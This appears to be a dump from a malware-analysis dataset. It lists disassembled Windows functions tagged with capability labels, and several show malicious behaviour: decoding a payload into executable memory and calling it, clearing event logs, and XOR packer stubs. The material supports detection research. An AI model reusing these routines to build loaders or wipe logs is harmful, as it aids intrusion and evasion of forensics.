joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401330
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
cmp dword [0x870670], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
jne 0x401363
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
mov ecx, dword [0x451298]
mov edx, dword [0x45129c]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2c], edx
call fcn.00401320
mov ebx, dword [ebp - 0x18]
mov eax, dword [0x4512a0]
mov ecx, dword [0x4512a4]
add ebx, 0x23f
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], 0x20
jmp 0x4013b0
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov ecx, dword [0x870670]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x401410
push 0
lea edx, [ebp - 0x430]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
mov eax, dword [ebp - 4]
mov ecx, dword [0x870670]
add eax, dword [ebp - 0x30]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x40142a
mov dword [0x86fc0c], 0xedeb2e40
jmp 0x40143c
cmp ecx, 0x3eb
jne 0x40143c
mov dword [0x86f5c0], 0
mov ecx, dword [ebp - 0xc]
mov esi, edi
shr esi, cl
lea eax, [ebx + edi]
mov dword [ebp - 0x10], eax
mov dword [0x86fc08], 0xf4ea3dee
add esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
xor dword [ebp - 4], eax
cmp dword [0x870670], 0x9e6
jne 0x401474
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor esi, dword [ebp - 4]
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x20]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov ecx, dword [ebp - 8]
shl ecx, 4
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
nop
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov esi, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
xor dword [ebp - 4], edx
shr esi, cl
add esi, dword [ebp - 0x2c]
cmp dword [0x870670], 0x121
jne 0x4014da
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov eax, dword [ebp - 4]
xor eax, esi
add ebx, 0x61c88647
sub edi, eax
sub dword [ebp - 0x1c], 1
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ebx
jne 0x4013b0
cmp dword [0x870670], 0xa6d
mov esi, dword [ebp + 8]
mov dword [esi], edi
jne 0x401521
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov eax, dword [ebp - 8]
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401620
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ecx
push 0x452448
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x44b8e8
push eax
mov dword fs:[0], esp
sub esp, 0x504
cmp dword [0x870670], 0x5b1
push ebx
push esi
push edi
jne 0x4016ed
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x34]
call fcn.00401c70
push 0
mov dword [ebp - 4], 0
call fcn.00403a81
add esp, 4
jmp 0x401610
mov eax, dword [0x870670]
add eax, 0x1134b
push eax
push 0
mov dword [0x870670], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x870670]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0x86f5c4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x401739
lea eax, [ebp - 0x510]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401726
mov ecx, dword [0x870670]
xor esi, esi
test ecx, ecx
jbe 0x4017a9
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ebx, [ebx]
mov ecx, dword [0x870674]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x86f5c4]
mov byte [eax + esi], dl
mov ecx, dword [0x870670]
cmp ecx, 0xa8
jne 0x4017a4
push 0
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [ebp - 0x110]
push edx
call ebx
mov ecx, dword [0x870670]
inc esi
cmp esi, ecx
jb 0x401760
xor eax, eax
jmp 0x4017b0
lea edx, [ecx + eax]
cmp edx, 0xe
je 0x401845
inc eax
cmp eax, 0x39621
jl 0x4017b0
call fcn.00401530
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x4017dd
call fcn.004015f0
inc esi
cmp esi, 0x6753f
jl 0x4017d1
mov esi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov edi, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov ebx, 0x7b
jmp 0x401800
cmp dword [0x870670], 0x86
jne 0x40182a
push 0
push str.henanuhasov_xun
push str.ekuposu_nujuf
call esi
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub ebx, 1
jne 0x401800
call fcn.00401280
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x401850
Capabilities:
Access the windows event log
Clear windows event logs
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
cmp dword [0x870670], 0x400
push esi
push edi
jne 0x4018b8
push 0
call dword [sym.imp.USER32.dll_WindowFromDC]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll__lopen]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea esi, [ebp - 0x24]
call fcn.004019b0
mov ecx, esi
call fcn.004019d0
mov edi, dword [ebp - 4]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetCaretPos]
xor esi, esi
cmp esi, 0xa50
jge 0x4018d0
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x2af68b
jle 0x4018e6
cmp edi, 0x78d9a205
jne 0x4018ef
inc esi
cmp esi, 0x1c5d
jl 0x4018c4
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
lea ecx, [ecx]
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp esi, 0x206d47
jg 0x40191d
inc esi
cmp esi, 0x4f6a4
jl 0x401900
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor esi, esi
push 0
call edi
cmp esi, 0x2b259d
jle 0x40193c
cmp ebx, 0x785074d5
jne 0x401945
inc esi
cmp esi, 0x11915
jl 0x401928
mov ecx, dword [0x4514dc]
mov edx, dword [0x4514b0]
mov dword [0x870670], ecx
mov dword [0x870674], edx
call fcn.00401620
mov esi, dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov edi, 0x3078f
pop ebx
mov edi, edi
cmp dword [0x870670], 0x51f
jne 0x40198c
push 0
lea eax, [ebp - 0x424]
push eax
push str.kuzekaziguzedabixuve
call esi
sub edi, 1
jne 0x401970
mov eax, dword [0x86f5c4]
mov dword [0x86fc04], eax
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4043db
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x450560]
jne 0x4043e5
repz ret
jmp fcn.0040866c
Function at 0x40b68a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406f5e
and dword [ebp - 4], 0
cmp dword [0x45236c], 0
mov ebx, eax
jne 0x40b73b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b7ec
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b7ec
push eax
call fcn.00406eec
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x45236c], eax
call esi
push eax
call fcn.00406eec
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x452370], eax
call esi
push eax
call fcn.00406eec
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x452374], eax
call esi
push eax
call fcn.00406eec
pop ecx
mov dword [0x45237c], eax
test eax, eax
je 0x40b73b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406eec
pop ecx
mov dword [0x452378], eax
mov eax, dword [0x452378]
cmp eax, ebx
je 0x40b793
cmp dword [0x45237c], ebx
je 0x40b793
push eax
call fcn.00406f67
push dword [0x45237c]
mov esi, eax
call fcn.00406f67
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b793
test edi, edi
je 0x40b793
call esi
test eax, eax
je 0x40b78a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b78a
test byte [ebp - 0xc], 1
jne 0x40b793
or dword [ebp + 0x10], 0x200000
jmp 0x40b7cc
mov eax, dword [0x452370]
cmp eax, ebx
je 0x40b7cc
push eax
call fcn.00406f67
pop ecx
test eax, eax
je 0x40b7cc
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b7cc
mov eax, dword [0x452374]
cmp eax, ebx
je 0x40b7cc
push eax
call fcn.00406f67
pop ecx
test eax, eax
je 0x40b7cc
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45236c]
call fcn.00406f67
pop ecx
test eax, eax
je 0x40b7ec
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b7ee
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0xa462543
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..text_1
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1728086a
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x100115f0
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x62c
mov eax, dword [0x1003f6e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x210]
push edi
mov edi, dword [ebp + 8]
push 0x208
push 0
push eax
mov dword [ebp - 0x624], edi
mov dword [ebp - 0x628], esi
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x620]
push 0x208
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
xor ebx, ebx
push esi
push edi
call sym.odbcjt32.dll_InitDialogAgain
jmp 0x1001165e
push edi
call dword [sym.imp.USER32.dll_SendMessageW]
mov edi, dword [ebp - 0x624]
cmp bx, 0x1d
jb 0x10011668
xor esi, esi
jmp 0x10011674
movzx esi, bx
shl esi, 5
add esi, section..data
inc ebx
test esi, esi
je 0x1001183a
push dword [esi + 0x14]
push edi
call dword [sym.imp.USER32.dll_GetDlgItem]
mov edi, eax
test edi, edi
je 0x10011658
mov ecx, dword [ebp - 0x628]
lea eax, [ebp - 0x210]
push 0x104
push eax
mov edx, esi
call fcn.10007b00
test ax, ax
jne 0x10011730
mov ecx, dword [esi + 8]
mov eax, ecx
and eax, 0xf
sub eax, 1
je 0x100116ee
sub eax, 1
je 0x1001182a
sub eax, 1
jne 0x10011658
mov eax, dword [ebp - 0x210]
mov edx, eax
test ecx, 0x2000000
je 0x100116e1
xor eax, eax
test edx, edx
sete al
push 0
push eax
push 0xf1
jmp 0x10011651
push 0xa
lea eax, [ebp - 0x620]
push eax
push dword [ebp - 0x210]
call dword [sym.imp.msvcrt.dll__ltow]
add esp, 0xc
test eax, eax
je 0x10011658
push 0xa
lea eax, [ebp - 0x620]
push eax
push dword [ebp - 0x210]
call dword [sym.imp.msvcrt.dll__ltow]
add esp, 0xc
push eax
push 0
push 0xc
jmp 0x10011651
mov eax, dword [esi + 4]
cmp eax, 0x3ef
ja 0x100117d0
je 0x100117bb
sub eax, 6
je 0x10011786
sub eax, 2
jne 0x10011658
push 0x104
lea eax, [ebp - 0x418]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
cmp word [ebp - 0x418], 0
je 0x10011773
test eax, eax
jne 0x10011658
push 0xa
lea eax, [ebp - 0x210]
push eax
push 0x200
jmp 0x10011821
push 0x104
lea eax, [ebp - 0x418]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
cmp word [ebp - 0x418], 0
je 0x100117ab
test eax, eax
jne 0x10011658
push 0xa
lea eax, [ebp - 0x210]
push eax
push 0x258
jmp 0x10011821
mov eax, dword [ebp - 0x628]
mov eax, dword [eax + 4]
push dword [eax + 0x1c]
push 0
push 0xc
jmp 0x10011651
cmp eax, 0x408
jne 0x10011658
push 0x104
lea eax, [ebp - 0x418]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
cmp word [ebp - 0x418], 0
je 0x10011800
test eax, eax
jne 0x10011658
mov eax, dword [ebp - 0x628]
push 0xa
mov eax, dword [eax + 4]
cmp dword [eax + 0xa8], 0x1b
lea eax, [ebp - 0x210]
push eax
jne 0x1001181f
push 0x19
jmp 0x10011821
push 0x10
call dword [sym.imp.msvcrt.dll__ltow]
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0
push 0xc
jmp 0x10011651
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003a750
mov esp, ebp
pop ebp
ret 8
Function at 0x100123e0
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x1003f6e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, edx
mov ebx, ecx
push edi
mov dword [ebp - 0x214], eax
xor edi, edi
jmp 0x1001240c
mov eax, dword [ebp - 0x214]
cmp di, 0x1d
jb 0x10012416
xor esi, esi
jmp 0x10012422
movzx esi, di
shl esi, 5
add esi, section..data
inc edi
test esi, esi
je 0x100124c7
test dword [esi + 8], 0x1000
je 0x1001240c
cmp dword [esi + 4], 0x3ef
jne 0x10012443
test byte [eax + 0x16], 2
jne 0x1001240c
cmp dword [esi + 0x14], 0x403
jne 0x10012476
push 0x420
push ebx
call dword [sym.imp.USER32.dll_GetDlgItem]
test eax, eax
je 0x10012476
push 0
push 0
push pe_nt_image_headers32
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
mov eax, dword [ebp - 0x214]
jne 0x1001240c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x10012406
push eax
push ebx
call dword [sym.imp.USER32.dll_GetDlgItem]
test eax, eax
je 0x10012406
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
cmp word [ebp - 0x210], 0
mov eax, dword [ebp - 0x214]
jne 0x1001240c
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003a750
mov esp, ebp
pop ebp
ret
mov edx, eax
mov ecx, ebx
call fcn.10012160
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003a750
mov esp, ebp
pop ebp
ret
Function at 0x10022a20
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov esi, ecx
xor edi, edi
call fcn.100227d0
test ax, ax
je 0x10022a41
or eax, 0xffffffff
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf003f
push 0
push 0x100039f0
push 0
push 0x100039e0
push dword [esi + 0x110]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x10022a82
push 1
mov edx, 0x100039e0
mov ecx, esi
call fcn.10022110
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0x100039f0
push 0
push 0x10002b78
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x10022ac9
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
mov edx, 0x10002b78
mov ecx, esi
call fcn.10022110
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 6
push 0x10001e48
push 1
push 0
push 0x10001cac
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10022aed
mov edx, 0x10001cac
jmp 0x10022b0f
push 6
push 0x10001e48
push 1
push 0
push 0x10001e28
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10022b1b
mov edx, 0x10001e28
push 1
mov ecx, esi
call fcn.10022110
movzx edi, ax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, di
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10022b40
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
movzx esi, word [ebp + 0x10]
mov ebx, edx
push edi
mov edi, ecx
mov dword [ebp - 4], esi
cmp dword [edi + 0x108], 0
jne 0x10022b75
call fcn.100235f0
test ax, ax
je 0x10022b75
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
cmp dword [ebp + 0x14], 0
je 0x10022ba7
mov eax, dword [edi + 0x110]
test eax, eax
jne 0x10022bad
lea eax, [esi - 1]
push eax
push dword [ebp + 8]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.msvcrt.dll_wcsncpy_s]
add esp, 0x10
mov eax, 0x64
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [edi + 0x108]
mov edi, dword [ebp + 0xc]
lea ecx, [ebp - 4]
push ecx
push edi
lea ecx, [ebp - 8]
push ecx
push 0
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x10022be7
lea eax, [esi - 1]
push eax
push dword [ebp + 8]
push esi
push edi
call dword [sym.imp.msvcrt.dll_wcsncpy_s]
add esp, 0x10
mov eax, 0x64
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov edx, dword [ebp - 4]
mov ecx, esi
mov eax, edx
shr ecx, 1
shr eax, 1
cmp eax, ecx
jbe 0x10022bf8
mov eax, ecx
test eax, eax
jne 0x10022c01
mov eax, 1
xor ecx, ecx
mov word [edi + eax*2 - 2], cx
test edx, edx
jne 0x10022c1e
lea eax, [esi - 1]
push eax
push dword [ebp + 8]
push esi
push edi
call dword [sym.imp.msvcrt.dll_wcsncpy_s]
add esp, 0x10
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10022c30
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x1003f6e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, edx
push edi
mov edi, ecx
cmp dword [edi + 0x10c], 0
jne 0x10022c66
call fcn.100227d0
test ax, ax
jne 0x10022d5a
test esi, esi
je 0x10022c88
mov ecx, esi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10022c70
sub ecx, edx
sar ecx, 1
lea ecx, [ecx*2 + 2]
jmp 0x10022c92
mov ecx, 2
mov esi, 0x10001ba0
cmp dword [ebp + 0xc], 0
je 0x10022ca0
mov eax, dword [edi + 0x110]
jmp 0x10022ca6
mov eax, dword [edi + 0x10c]
push ecx
push esi
push 1
push 0
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10022d70
xor eax, eax
push 0x104
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x210]
push eax
push 0xb3b0
push dword [0x10041578]
call dword [sym.imp.USER32.dll_LoadStringW]
cmp word [ebp - 0x210], 0
jne 0x10022d14
mov esi, dword [0x1004138c]
lea eax, [ebp - 0x210]
push 0x104
push eax
push 0xb3b0
mov ecx, esi
call dword [0x10042350]
call esi
push eax
call dword [sym.imp.USER32.dll_LoadStringW]
push ebx
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push 0x104
push eax
call dword [sym.imp.msvcrt.dll_swprintf_s]
add esp, 0x10
lea eax, [edi + 0x6c]
lea edx, [ebp - 0x418]
mov ecx, 0x3f
push 0
push 0
push 0xfffffffffffffffe
push 0xfffffffffffffffe
push 0xa410
push 0xa4d8
push eax
push dword [edi + 0x7c]
call fcn.10019d30
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003a750
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003a750
mov esp, ebp
pop ebp
ret 8